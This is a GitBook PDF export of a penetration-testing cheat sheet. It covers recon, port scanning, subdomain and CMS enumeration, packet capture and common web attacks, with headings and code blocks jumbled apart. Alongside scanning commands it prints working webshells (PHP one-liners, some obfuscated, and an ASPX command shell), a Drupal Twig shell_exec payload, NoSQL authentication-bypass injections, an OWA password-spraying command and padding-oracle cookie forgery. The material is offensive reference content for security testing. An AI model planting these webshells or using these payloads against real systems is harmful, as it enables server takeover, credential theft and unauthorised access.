arrow-left

Only this pageAll pages
gitbookPowered by GitBook
triangle-exclamation
Couldn't generate the PDF for 164 pages, generation stopped at 100.
Extend with 50 more pages.
1 of 100

Pentest Book

Loading...

Recon

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Enumeration

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Subdomain Takeover

hashtag
Explanation

  1. Domain name (sub.example.com) uses a CNAME record for another domain (sub.example.com CNAME anotherdomain.com).

  2. At some point, anotherdomain.com expires and is available for anyone's registration.

  3. Since the CNAME record is not removed from the DNS zone of example.com, anyone who records anotherdomain.com has full control over sub.example.com until the DNS record is present.

hashtag
Resources

Web Attacks

Skill Level: Beginner to Advanced Prerequisites: HTTP basics, web architecture

Check out in the left submenu what common attack you want review

/home/six2dez/.pentest-book

This book contains a bunch of info, scripts and knowledge used during my pentests.

Thanks to visit this site, please consider enhance this book with some awesome tools or techniques you know, you can contact me by Telegram(@six2dezarrow-up-right), Twitter(@six2dez1arrow-up-right) or Discord(six2dez#8201arrow-up-right), GitHub pull request is welcomed too ;) Hack 'em all

hashtag
Usage: Just use the search bar at the upper or navigate through the sections of the left zone. Enjoy it 😊

Don't you know where to go now? Let me introduce you to some of the most popular pages on this wiki:

  • Know your target! Make a proper !

  • What can you do in those strange ?

  • Doing a ? Don't forget to check out any of these common attacks!

Important note: I use this wiki daily for my work and I am constantly updating it. I'm very sorry if a link to a page changes or I move it, if you need something you are free to contact me.

You can support this work buying me a coffee:

hashtag
Stargazers over time

Network Scanning

Skill Level: Beginner to Intermediate Prerequisites: Basic networking, TCP/IP

hashtag
IP resolution

hashtag

Root domains

hashtag
Basic

hashtag
Reverse whois

Web Technologies

Check out in the left submenu what common attack you want review

Netdiscover

hashtag
Nmap

hashtag
NetBios

hashtag
Ping Sweep - Bash

hashtag
Ping Sweep - Windows

hashtag
ASN

hashtag
Favicon

hashtag
Google Analytics ID

hashtag
DNS manual recon

hashtag
Reverse IP search

hashtag
TLD bruteforcing

# https://github.com/Josue87/resolveDomains
resolveDomains -d subdomains.txt

# Expected output:
# subdomain1.target.com -> 192.168.1.10
# subdomain2.target.com -> 192.168.1.11
netdiscover -i eth0
netdiscover -r 10.11.1.1/24

# Expected output:
# _____________________________________________________________________________
#   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
# -----------------------------------------------------------------------------
# 10.11.1.1       00:50:56:aa:bb:cc      1      60  VMware, Inc.
# 10.11.1.5       00:0c:29:dd:ee:ff      1      60  VMware, Inc.
# Host discovery (ping sweep)
nmap -sn 10.11.1.1/24
nmap -sn 10.11.1.1-253
nmap -sn 10.11.1.*

# Expected output:
# Nmap scan report for 10.11.1.5
# Host is up (0.00052s latency).
# Nmap scan report for 10.11.1.10
# Host is up (0.00031s latency).
# Nmap done: 256 IP addresses (15 hosts up) scanned in 2.43 seconds
nbtscan -r 10.11.1.1/24

# Expected output:
# IP address       NetBIOS Name     Server    User             MAC address      
# ------------------------------------------------------------------------------
# 10.11.1.5        WORKSTATION1     <server>  <unknown>        00:0c:29:aa:bb:cc
# 10.11.1.10       DC01             <server>  <unknown>        00:0c:29:dd:ee:ff
for i in {1..254} ;do (ping -c 1 172.21.10.$i | grep "bytes from" &) ;done

# Expected output:
# 64 bytes from 172.21.10.1: icmp_seq=1 ttl=64 time=0.5 ms
# 64 bytes from 172.21.10.5: icmp_seq=1 ttl=64 time=1.2 ms
for /L %i in (1,1,255) do @ping -n 1 -w 200 172.21.10.%i > nul && echo 192.168.1.%i is up.

# Expected output:
# 192.168.1.1 is up.
# 192.168.1.5 is up.
# https://github.com/OWASP/Amass 
amass intel -d domain.com -whois 

# Search on Google
https://google.com/search?q=united+airlines 

# Analyze owners on domainbigdata
https://iqwhois.com/
https://viewdns.info/reversewhois/?q=United+Airlines
https://tools.whoisxmlapi.com/reverse-whois-search
https://bgp.he.net/search?search%5Bsearch%5D=united+airlines&commit=Search 
whois -h whois.radb.net -- '-i origin AS11535' | grep -Eo "([0-9.]+){4}/[0-9]+" | uniq 
whois -h whois.radb.net -- '-i origin AS20461' | grep -Eo "([0-9.]+){4}/[0-9]+" | uniq | mapcidr -silent | dnsx -ptr -resp-only -retry 3 -silent
# https://github.com/pielco11/fav-up
python3 favUp.py -ff ~/favicon.ico --shodan-cli 

# https://github.com/devanshbatham/FavFreak
cat urls.txt | python3 favfreak.py 

# https://faviconhasher.herokuapp.com/

# https://www.shodan.io/search?query=http.favicon.hash%3A-382492124

# https://github.com/edoardottt/favirecon
favirecon -u https://target.com/ -v
https://builtwith.com/relationships/united.com
https://builtwith.com/relationships/tag/UA-29214177
https://api.hackertarget.com/analyticslookup/?q=united.com
https://api.hackertarget.com/analyticslookup/?q=UA-16316580
dnsrecon -d www.example.com -a 
dnsrecon -d www.example.com -t axfr
dnsrecon -d www.example.com -g
dnsrecon -d www.example.com -D /usr/share/wordlists/subdomains.txt -t brt

dig www.example.com + short
dig www.example.com MX
dig www.example.com NS
dig www.example.com> SOA
dig www.example.com ANY +noall +answer
dig -x www.example.com
dig -4 www.example.com (For IPv4)
dig -6 www.example.com (For IPv6)
dig www.example.com mx +noall +answer example.com ns +noall +answer
dig -t AXFR www.example.com
dig axfr @10.11.1.111 example.box

dnsenum 10.11.1.111
# Get domain from IP
# https://reverse-ip.whoisxmlapi.com/
# https://github.com/projectdiscovery/dnsx
cat ips.txt | dnsx -ptr -resp-only -silent -retry 3
# TLD bruteforcing tool
https://github.com/Sybil-Scan/TLDbrute

Do you have the same hype as me with cloud services? They also have their vulnerabilities

  • Stuck again with Windows and Kerberos? Here is my cheatsheet

  • The mobile world does not stop growing, see my tips for Android and iOS

  • Burp Suite is the tool most loved by everyone, but you have to know a few tricks, also check my preferred extensions

  • I'm really proud of Pentesting Web Checklist

  • If you want to know which web fuzzer fits you best, take a look at the comparison.

  • recon
    ports
    web pentest
    Stargazers over time

    General Info

    hashtag
    Auth headers

    # Basic Auth (B64)
    Authorization: Basic AXVubzpwQDU1dzByYM==
    # Bearer Token (JWT)
    Authorization: Bearer <token>
    # API Key
    GET /endpoint?api_key=abcdefgh123456789
    X-API-Key: abcdefgh123456789
    # Digest Auth
    Authorization: Digest username=”admin” Realm=”abcxyz” nonce=”474754847743646”, uri=”/uri” response=”7cffhfr54685gnnfgerg8”
    # OAuth2.0
    Authorization: Bearer hY_9.B5f-4.1BfE
    # Hawk Authentication
    Authorization: Hawk id="abcxyz123", ts="1592459563", nonce="gWqbkw", mac="vxBCccCutXGV30gwEDKu1NDXSeqwfq7Z0sg/HP1HjOU="
    # AWS signature
    Authorization: AWS4-HMAC-SHA256 Credential=abc/20200618/us-east-1/execute-api/aws4_

    hashtag
    Common checks

    hashtag
    Security headers explanation

    Host Scanning

    hashtag
    nmap

    # Fast simple scan
    nmap 10.11.1.111
    
    # Nmap ultra fast
    nmap 10.11.1.111 --max-retries 1 --min-rate 1000
    
    # Get open ports
    nmap -p - -Pn -n 10.10.10.10
    
    # Comprehensive fast and accurate
    nmap --top-ports 200 -sV -n --max-retries 2 -Pn --open -iL ips.txt -oA portscan_active
    
    # Get sV from ports
    nmap -pXX,XX,XX,XX,XX -Pn -sV -n 10.10.10.10
    
    # Full complete slow scan with output
    nmap -v -A -p- -Pn --script vuln -oA full 10.11.1.111
    
    # Network filtering evasion
    nmap --source-port 53 -p 5555 10.11.1.111
        # If work, set IPTABLES to bind this port
        iptables -t nat -A POSTROUTING -d 10.11.1.111 -p tcp -j SNAT --to :53
    
    # Scan for UDP
    nmap 10.11.1.111 -sU
    nmap -sU -F -Pn -v -d -sC -sV --open --reason -T5 10.11.1.111
    
    # FW evasion
    nmap -f <IP>
    nmap --mtu 24 <IP>
    nmap --data-length 30 <IP>
    nmap --source-port 53 <IP>
    
    # Nmap better speed flags
    --max-rtt-timeout: Time response per probe
    --script-timeout: Time response per script
    --host-timeout: Time response for host
    --open: Avoid detection if filtered or closed
    --min-rate

    hashtag
    shodan

    Webs recon

    hashtag
    Resolution

    hashtag
    WAF Checks

    Online hashes cracked

    Cookie Padding

    Broken Links

    hashtag
    Tools

    Web Cache Deception

    circle-info

    These preconditions can be exploited for the Web Cache Deception attack in the following manner:

    • Step 1: An attacker entices the victim to open a maliciously crafted link:

      https://www.example.com/my_profile/test.jpg

    Pastejacking

    HTTP Parameter pollution

    DNS rebinding

    hashtag
    Services

    ASP.NET

    Firebird

    hashtag
    Tools

    Symfony && Twig

    JBoss - Java Deserialization

    Magento

    SAP

    # robots.txt
    curl http://example.com/robots.txt
    # headers
    wget --save-headers http://www.example.com/
        # Strict-Transport-Security (HSTS)
        # X-Frame-Options: SAMEORIGIN
        # X-XSS-Protection: 1; mode=block
        # X-Content-Type-Options: nosniff
    # Cookies
        # Check Secure and HttpOnly flag in session cookie
        # If exists BIG-IP cookie, app behind a load balancer
    # SSL Ciphers
    nmap --script ssl-enum-ciphers -p 443 www.example.com
    # HTTP Methods
    nmap -p 443 --script http-methods www.example.com
    # Cross Domain Policy
    curl http://example.com/crossdomain.xml
        # allow-access-from domain="*"
    
    # Cookies explained
    https://cookiepedia.co.uk/
    # https://cli.shodan.io/
    shodan host 151.101.1.68

    The application ignores the 'test.jpg' part of the URL, the victim profile page is loaded. The caching mechanism identifies the resource as an image, caching it.

  • Step 2: The attacker sends a GET request for the cached page:

    https://www.example.com/my_profile/test.jpg

    The cached resource, which is in fact the victim profile page is returned to the attacker (and to anyone else requesting it).

  • https://www.cmd5.org/
    http://hashes.org
    https://www.onlinehashcrack.com/
    https://gpuhash.me/
    https://crackstation.net/
    https://crack.sh/
    https://hash.help/
    https://passwordrecovery.io/
    http://cracker.offensive-security.com/
    https://md5decrypt.net/en/Sha256/
    https://weakpass.com/wordlists
    https://hashes.com/en/decrypt/hash
    # https://github.com/AonCyberLabs/PadBuster
    # Get cookie structure
    padbuster http://10.10.119.56/index.php xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka 8 -cookies "hcon=xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka" -error "Invalid padding"
    # Get cookie for other user (impersonation)
    padbuster http://10.10.119.56/index.php xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka 8 -cookies "hcon=xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka" -error "Invalid padding" -plaintext 'user=administratorhc0nwithyhackme'
    
    #https://github.com/glebarez/padre
    padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='
    
    # https://github.com/Kibouo/rustpad
    
    # https://github.com/stevenvachon/broken-link-checker 
    blc -rfoi --exclude linkedin.com --exclude youtube.com --filter-level 3 https://example.com/
    https://sslip.io/
    https://lock.cmpxchg8b.com/rebinder.html
    # https://github.com/InfosecMatter/Scripts/blob/master/firebird-bruteforce.sh 
    ./firebird\_bruteforce.sh IP DB /PATH/pwdlist.txt
    
    # https://www.infosecmatter.com/firebird-database-exploitation/
    apt-get -y install firebird3.0-utils
    isql-fb
    **Tools**
    # Server-Side Template Injection and Code Injection Detection and Exploitation Tool 
    # https://github.com/epinna/tplmap
    ./tplmap.py -u 'http://www.target.com/page?name=John'
    # https://github.com/ambionics/symfony-exploits
    
    # Symfony:
    Check for www.example.com/_profiler/ it contains errors and server variables
    # Symfony debug looter:
    https://github.com/synacktiv/eos/
    
    # Twig:
    https://medium.com/server-side-template-injection/server-side-template-injection-faf88d0c7f34
    # JexBoss
    # https://github.com/joaomatosf/jexboss
    python jexboss.py -host http://target_host:8080
    https://github.com/steverobbins/magescan
    # Fuzzing dictionary
    https://raw.githubusercontent.com/jackrichardzon/s4p0/master/S4P-DIR.txt
    
    # SAP-RECON
    https://github.com/chipik/SAP_RECON
    
    # SAP multiple
    https://github.com/shipcod3/mySapAdventures
    
    # SAP wordlist
    https://github.com/emadshanab/SAP-wordlist/blob/main/SAP-wordlist.txt
    
    # SAP ports
    https://buddysap.com/list-of-sap-port-used-in-sap-abap-and-java-system/

    JS

    # JSScanner
    # https://github.com/dark-warlord14/JSScanner
    # https://securityjunky.com/scanning-js-files-for-endpoint-and-secrets/
    bash install.sh
    # Configure domain in alive.txt
    bash script.sh
    cat js/*
    cd db && grep -oriahE "https?://[^\"\\'> ]+"
    
    # https://github.com/KathanP19/JSFScan.sh
    bash JSFScan.sh -l targets.txt -e -s -m -o 
    
    # https://github.com/bp0lr/linkz
    
    # FindSecrets in JS files
    https://github.com/m4ll0k/SecretFinder
    python3 SecretFinder.py -i https://example.com/1.js -o results.html
    
    # Js vuln scanner, like retire.js with crawling
    https://github.com/callforpapers-source/jshole
    
    # get Shell from xss
    https://github.com/shelld3v/JSshell
    
    # Find JS sourcemap
    1) Find JavaScript files
    2) ffuf -w js_files.txt -u FUZZ -mr "sourceMappingURL"
    3) Download sourcemap
    4) https://github.com/chbrown/unmap
    5) Browse configs or just grep for API keys/Creds

    Joomla

    # Joomscan
    joomscan -u  http://10.11.1.111 
    joomscan -u  http://10.11.1.111 --enumerate-components
    
    # Juumla
    #https://github.com/0xdsm/juumla
    python3 main.py -u https://example.com
    
    droopescan scan joomla -u http://10.11.1.111
    python3 cmseek.py -u domain.com
    vulnx -u https://example.com/ --cms --dns -d -w -e
    python3 cmsmap.py https://www.example.com -F
    
    # nmap http-Joomla-brute
    
    # Check common files
    README.txt
    htaccess.txt
    web.config.txt
    configuration.php
    LICENSE.txt
    administrator
    administrator/index.php # Default admin login
    index.php?option=<nameofplugin>
    administrator/manifests/files/joomla.xml
    plugins/system/cache/cache.xml

    VHosts

    hashtag
    Tools

    # https://github.com/jobertabma/virtual-host-discovery
    ruby scan.rb --ip=192.168.1.101 --host=domain.tld
    
    # https://github.com/dariusztytko/vhosts-sieve
    python3 vhosts-sieve.py -d domains.txt -o vhosts.txt
    
    # Enum vhosts
    fierce -dns example.com
    
    # https://github.com/codingo/VHostScan
    VHostScan -t example.com

    hashtag
    Techniques

    # ffuf
    badresponse=$(curl -s -H "host: totallynotexistsforsure.bugcrowd.com" https://bugcrowd.com | wc -c)
    ffuf -u https://TARGET.com -H "Host: FUZZ.TARGET.com" -w werdlists/dns-hostnames/nmap-vhosts-all.txt -fs $badresponse
    
    # Manual with subdomains list
    for sub in $(cat subdomains.txt); do
    			echo "$sub $(dig +short a $sub | tail -n1)" | anew -q subdomains_ips.txt
    done
    

    OWA

    hashtag
    Tools

    # https://github.com/dafthack/MailSniper
    # Spraying toolkit: https://github.com/byt3bl33d3r/SprayingToolkit
    Invoke-PasswordSprayOWA -ExchHostName mail.r-1x.com -UserList C:\users.txt -Password Dakota2019! -OutFile C:\creds.txt -Threads 10
    python3 atomizer.py owa mail.r-1x.com 'Dakota2019!' ../users.txt
    
    # https://github.com/gremwell/o365enum
    ./o365enum.py -u users.txt -p Password2 -n 1
    
    # https://github.com/mdsecactivebreach/o365-attack-toolkit
    

    hashtag
    Bypasses

    # UserName Recon/Password Spraying - http://www.blackhillsinfosec.com/?p=4694
    # Password Spraying MFA/2FA - http://www.blackhillsinfosec.com/?p=5089
    # Password Spraying/GlobalAddressList - http://www.blackhillsinfosec.com/?p=5330
    # Outlook 2FA Bypass - http://www.blackhillsinfosec.com/?p=5396
    # Malicious Outlook Rules - https://silentbreaksecurity.com/malicious-outlook-rules/
    # Outlook Rules in Action - http://www.blackhillsinfosec.com/?p=5465
    
    Name Conventions:
    - FirstnameLastinitial
    - FirstnameLastname
    - Lastname.firstname

    Drupal

    **Tools** 
    # droopescan
    # https://github.com/droope/droopescan
    droopescan scan drupal -u https://example.com -t 32
    
    # drupwn
    # https://github.com/immunIT/drupwn
    sudo python3 drupwn --mode enum|exploit --target https://example.com
    
    # https://github.com/ajinabraham/CMSScan
    docker build -t cmsscan .
    docker run -it -p 7070:7070 cmsscan
    python3 cmsmap.py -f D https://www.example.com -F
    
    # https://github.com/Tuhinshubhra/CMSeeK
    python3 cmseek.py -u domain.com
    
    # Drupal < 8.7.x Authenticated RCE module upload
    https://www.drupal.org/project/drupal/issues/3093274
    https://www.drupal.org/files/issues/2019-11-08/drupal_rce.tar_.gz
    
    # Drupal < 9.1.x Authenticated RCE Twig templates
    https://www.drupal.org/project/drupal/issues/2860607
    "Administer views" -> new View of User Fields - >Add a "Custom text"
    "{{ {"#lazy_builder": ["shell_exec", ["touch /tmp/hellofromviews"]]} }}"
    
    # If found /node/$NUMBER, the number could be devs or tests pages
    
    # drupal 8
    # https://www.exploit-db.com/exploits/46459
    
    # Check for username disclosure on old versions:
    ?q=admin/views/ajax/autocomplete/user/a
    

    PHP

    # Tools
    https://github.com/TarlogicSecurity/Chankro
    # Bypass disable_functions and open_basedir
    python2 chankro.py --arch 64 --input rev.sh --output chan.php --path /var/www/html
    # Unserialize PHP Payload generator
    https://github.com/ambionics/phpggc
    # Backup Artifacts
    # https://github.com/mazen160/bfac
    bfac --url http://example.com/test.php
    
    hashtag
    CMS

    hashtag
    Web screenshot

    hashtag
    Fuzzing

    hashtag
    URLs

    hashtag
    URL extraction

    hashtag
    Filtering

    Patterns

    hashtag
    JS

    hashtag
    Wordlists generation

    # https://github.com/projectdiscovery/httpx
    cat subdomains/subdomains.txt | httpx -follow-redirects -random-agent -status-code -silent -retries 2 -title -web-server -tech-detect -location -no-color -o websites.txt
    # https://github.com/EnableSecurity/wafw00f 
    wafw00f -i websites.txt
    
    # IP Wafs/CDN lists
    https://github.com/MISP/misp-warninglists
    # https://github.com/Tuhinshubhra/CMSeeK 
    tr '\n' ',' < websites.txt > cms_test.txt 
    python3 cmseek.py -l cms_test.txt --batch -r
    # https://github.com/sensepost/gowitness
    gowitness file -f websites.txt 
    gowitness report serve -D gowitness.sqlite3
    # https://github.com/ffuf/ffuf
    ffuf -mc all -fc 404 -ac -sf -s -w wordlist.txt -u https://www.domain.com/FUZZ
     # https://github.com/jaeles-project/gospider
     gospider -S websites.txt --js -t 20 -d 2 --sitemap --robots -w -r > urls.txt
    
     # https://github.com/lc/gau
     cat websites.txt | gau --subs 
     
     # https://github.com/tomnomnom/waybackurls 
     cat websites.txt | waybackurls 
     
     # https://github.com/gwen001/github-endpoints 
     github-endpoints -q -k -d united.com -t tokens_github.txt 
     
     # https://github.com/Josue87/roboxtractor 
     cat webs.txt | roboxtractor -m 1 -wb
    
     # https://github.com/projectdiscovery/katana
     katana -u target.com -ps -silent -pss waybackarchive,commoncrawl,alienvault -o urls.txt ##Passive mode
     katana -u target.com -duc -silent -nc -jc -kf all -fx -xhr -ef woff,css,png,svg,jpg,woff2,jpeg,gif,svg -aff -o urls.txt ##Crawling and Spidering
    
     # https://github.com/xnl-h4ck3r/waymore
     waymore -i target.com -mode U -oU urls.txt
    # https://github.com/tomnomnom/qsreplace
    cat urls.txt | qsreplace -a
    
    # https://github.com/s0md3v/uro 
    cat urls.txt | uro
    # https://github.com/tomnomnom/gf 
    # https://github.com/1ndianl33t/Gf-Patterns 
    gf sqli urls.txt
    # https://github.com/w9w/JSA 
    cat urls.txt | python3 jsa.py 
    
    # https://github.com/lc/subjs 
    cat js.txt | subjs | httpx 
    
    # https://github.com/GerbenJavado/LinkFinder 
    python3 linkfinder.py -d -i https://domain.com/whatever.js -o cli
    # https://github.com/tomnomnom/unfurl 
    cat urls.txt | unfurl -u keys 
    cat urls.txt | unfurl -u values
    # Inject existing extra parameters in GET:
    https://www.bank.com/transfer?from=12345&to=67890&amount=5000&from=ABCDEF
    https://www.site.com/sharer.php?u=https://site2.com/blog/introducing?&u=https://site3.com/test
    # Look for trace
    example.com/trace.axd
    example.com/any.aspx/trace.axd

    Packet Scanning

    hashtag
    tcpdump

    hashtag
    Wireshark / tshark

    hashtag
    Protocol-specific analysis

    hashtag
    Credential extraction

    hashtag
    Encrypted traffic analysis

    hashtag
    Network forensics

    Files

    hashtag
    Common

    hashtag
    Disk files

    # guestmount can mount any kind of disk file
    sudo apt-get install libguestfs-tools
    guestmount --add yourVirtualDisk.vhdx --inspector --ro /mnt/anydirectory

    hashtag
    Audio

    hashtag
    Images

    Webshells

    hashtag
    PHP

    # system
    
    //CURL http://ip/shell.php?1=whoami
    //www.somewebsite.com/index.html?1=ipconfig
    
    // passthru 
    <?php passthru($_GET['cmd']); ?>
    
    // NINJA
    ;").($_^"/"); ?> 
    http://target.com/path/to/shell.php?=function&=argument
    http://target.com/path/to/shell.php?=system&=ls
    
    // NINJA 2
    /'^'{{{{';@${$_}[_](@${$_}[__]);
    
    // One more
    <?=$_="";$_="'";$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>
    
    // https://github.com/Arrexel/phpbash
    // https://github.com/flozz/p0wny-shell

    hashtag
    .NET

    hashtag
    Bash

    hashtag
    aspx

    Web Cache Poisoning

    hashtag
    General

    circle-info

    Web cache poisoning is an advanced technique whereby an attacker exploits the behavior of a web server and cache so that a harmful HTTP response is served to other users.

    Fundamentally, web cache poisoning involves two phases. First, the attacker must work out how to elicit a response from the back-end server that inadvertently contains some kind of dangerous payload. Once successful, they need to make sure that their response is cached and subsequently served to the intended victims.

    A poisoned web cache can potentially be a devastating means of distributing numerous different attacks, exploiting vulnerabilities such as XSS, JavaScript injection, open redirection, and so on.

    hashtag
    Tools

    Clickjacking

    hashtag
    General

    circle-info

    Clickjacking is an interface-based attack in which a user is tricked into clicking on actionable content on a hidden website by clicking on some other content in a decoy website.

    • Preventions:

      • X-Frame-Options: deny/sameorigin/allow-from

      • CSP: policy/frame-ancestors 'none/self/domain.com'

    NoSQL (MongoDB, CouchDB)

    # Tools
    ## Mongobleed https://github.com/joe-desimone/mongobleed
    # https://github.com/codingo/NoSQLMap
    python NoSQLMap.py
    # https://github.com/torque59/Nosql-Exploitation-Framework
    python nosqlframework.py -h
    # https://github.com/Charlie-belmer/nosqli
    nosqli scan -t http://localhost:4000/user/lookup?username=test
    # https://github.com/FSecureLABS/N1QLMap
    ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample
    
    # Payload: 
    ' || 'a'=='a
    
    mongodbserver:port/status?text=1
    
    # in URL
    username[$ne]=toto&password[$ne]=toto
    
    ##in JSON
    {"username": {"$ne": null}, "password": {"$ne": null}}
    {"username": {"$gt":""}, "password": {"$gt":""}}
    
    - Trigger MongoDB syntax error -> ' " \ ; { }
    - Insert logic -> ' || '1' == '1' ; //
    - Comment out -> //
    - Operators -> $where $gt $lt $ne $regex
    - Mongo commands -> db.getCollectionNames()

    Subdomain Enum

    Skill Level: Beginner Prerequisites: Basic DNS understanding

    hashtag
    Passive sources

    hashtag

    Header injections

    hashtag
    Headers

    hashtag
    Tools

    CRLF

    hashtag
    Tools

    Deserialization

    circle-info

    Insecure deserialization is when user-controllable data is deserialized by a website. This potentially enables an attacker to manipulate serialized objects in order to pass harmful data into the application code.

    Objects of any class that is available to the website will be deserialized and instantiated, regardless of which class was expected. An object of an unexpected class might cause an exception. By this time, however, the damage may already be done. Many deserialization-based attacks are completed before deserialization is finished. This means that the deserialization process itself can initiate an attack, even if the website's own functionality does not directly interact with the malicious object.

    Wordpress

    hashtag
    Tools

    IIS

    Nginx

    Python

    # Basic capture
    tcpdump -i eth0
    tcpdump -c 100 -i eth0                    # Capture 100 packets
    tcpdump -A -i eth0                         # Print packets in ASCII
    tcpdump -XX -i eth0                        # Print packets in HEX and ASCII
    tcpdump -w capture.pcap -i eth0            # Write to file
    tcpdump -r capture.pcap                    # Read from file
    tcpdump -n -i eth0                         # Don't resolve hostnames
    tcpdump -nn -i eth0                        # Don't resolve hostnames or ports
    
    # Filter by port/host
    tcpdump -i eth0 port 22
    tcpdump -i eth0 port 80 or port 443
    tcpdump -i eth0 src 172.21.10.X
    tcpdump -i eth0 dst 172.21.10.X
    tcpdump -i eth0 host 10.10.10.10
    tcpdump -i eth0 net 192.168.1.0/24
    
    # Filter by protocol
    tcpdump -i eth0 icmp
    tcpdump -i eth0 tcp
    tcpdump -i eth0 udp
    
    # Complex filters
    tcpdump -i eth0 'tcp[tcpflags] & (tcp-syn) != 0'     # SYN packets
    tcpdump -i eth0 'tcp[tcpflags] & (tcp-rst) != 0'     # RST packets
    tcpdump -i eth0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'  # HTTP with data
    
    # Capture credentials (unencrypted)
    tcpdump -i eth0 -A port 21 or port 23 or port 110 or port 143
    
    # Online service
    https://packettotal.com/
    # CLI capture with tshark
    tshark -i eth0                             # Basic capture
    tshark -i eth0 -w capture.pcap             # Write to file
    tshark -r capture.pcap                     # Read from file
    tshark -i eth0 -f "port 80"                # Capture filter
    tshark -r capture.pcap -Y "http"           # Display filter
    
    # Extract specific fields
    tshark -r capture.pcap -T fields -e ip.src -e ip.dst -e tcp.port
    tshark -r capture.pcap -Y "http.request" -T fields -e http.host -e http.request.uri
    
    # Follow TCP streams
    tshark -r capture.pcap -z follow,tcp,ascii,0
    
    # Protocol statistics
    tshark -r capture.pcap -z io,phs           # Protocol hierarchy
    tshark -r capture.pcap -z conv,tcp         # TCP conversations
    tshark -r capture.pcap -z endpoints,ip     # IP endpoints
    
    # Extract HTTP objects
    tshark -r capture.pcap --export-objects "http,./extracted_files"
    
    # Common display filters for Wireshark
    # http.request.method == "POST"
    # tcp.flags.syn == 1
    # dns.qry.name contains "domain"
    # ftp.request.command == "PASS"
    # smb2.filename
    # kerberos.CNameString
    # Check real file type
    file file.xxx
    
    # Analyze strings
    strings file.xxx
    strings -a -n 15 file.xxx # Check the entire file and outputs strings longer than 15 chars
    
    # Check embedded files
    binwalk file.xxx # Check
    binwalk -e file.xxx # Extract
    
    # Check as binary file in hex
    ghex file.xxx
    
    # Check metadata
    exiftool file.xxx
    
    # Stego tool for multiple formats
    wget https://embeddedsw.net/zip/OpenPuff_release.zip
    unzip OpenPuff_release.zip -d ./OpenPuff
    wine OpenPuff/OpenPuff_release/OpenPuff.exe
    
    # Compressed files
    fcrackzip file.zip
    # https://github.com/priyankvadaliya/Zip-Cracker-
    python zipcracker.py -f testfile.zip -d passwords.txt
    python zipcracker.py -f testfile.zip -d passwords.txt -o extractdir
    
    # Office documents
    https://github.com/assafmo/xioc
    
    # Zip files in website
    pip install remotezip
    # list contents of a remote zip file
    remotezip -l "http://site/bigfile.zip"
    # extract file.txt from a remote zip file
    remotezip "http://site/bigfile.zip" "file.txt"
    
    # Grep inside any files
    # https://github.com/phiresky/ripgrep-all
    rga "whatever" folder/
    <%@Page Language=”C#”%><%var p=new System.Diagnostics.Process{StartInfo={FileName=Request[“c”],UseShellExecute=false,RedirectStandardOutput=true}};p.Start();%><%=p.StandardOutput.ReadToEnd()%>
    www.somewebsite.com/cgi-bin/a?ls%20/var
    # Check spectrogram
    wget https://code.soundsoftware.ac.uk/attachments/download/2561/sonic-visualiser_4.0_amd64.deb
    dpkg -i sonic-visualiser_4.0_amd64.deb
    
    # Check for Stego
    hideme stego.mp3 -f && cat output.txt #AudioStego
    # https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner
    wcvs -u https://url.com
    # https://github.com/s0md3v/Arjun
    python3 arjun.py -u https://url.com --get 
    python3 arjun.py -u https://url.com --post
    # https://github.com/maK-/parameth
    python parameth.py -u https://example.com/test.php
    # https://github.com/devanshbatham/ParamSpider
    python3 paramspider.py --domain example.com
    # https://github.com/s0md3v/Parth
    python3 parth.py -t example.com
    # XSS for users accessing /en?region=uk:
    GET /en?region=uk HTTP/1.1
    Host: innocent-website.com
    X-Forwarded-Host: a."><script>alert(1)</script>"
    # An example using the style tag and parameters is as follows:
    <head>
      <style>
        #target_website {
          position:relative;
          width:128px;
          height:128px;
          opacity:0.00001;
          z-index:2;
          }
        #decoy_website {
          position:absolute;
          width:300px;
          height:400px;
          z-index:1;
          }
      </style>
    </head>
    ...
    <body>
      <div id="decoy_website">
      ...decoy web content here...
      </div>
      <iframe id="target_website" src="https://vulnerable-website.com">
      </iframe>
    </body>
    # https://github.com/lobuhi/byp4xx
    ./byp4xx.sh https://url/path
    # https://github.com/OdinF13/Bug-Bounty-Scripts
    
    # https://github.com/mlcsec/headi
    headi -url http://target.com/admin
    # https://github.com/MichaelStott/CRLF-Injection-Scanner
    crlf_scan.py -i <inputfile> -o <outputfile>
    # https://github.com/dwisiswant0/crlfuzz
    crlfuzz -u "http://target"
    # https://github.com/ryandamour/crlfmap
    crlfmap scan --domains domains.txt --output results.txt
    # https://github.com/wpscanteam/wpscan
    wpscan --url https://url.com
    
    
    # https://github.com/Chocapikk/wpprobe
    wpprobe scan -u https://target.com/ --mode hybrid
    # Reminder:
    Case insensitive
    IIS Shortname
    VIEWSTATE deserialization RCE gadget
    Web.config upload tricks
    Debug mode w/ detailed stack traces and full path
    Debugging scripts often deployed (ELMAH, Trace)
    Telerik RCE
    
    # ViewState:
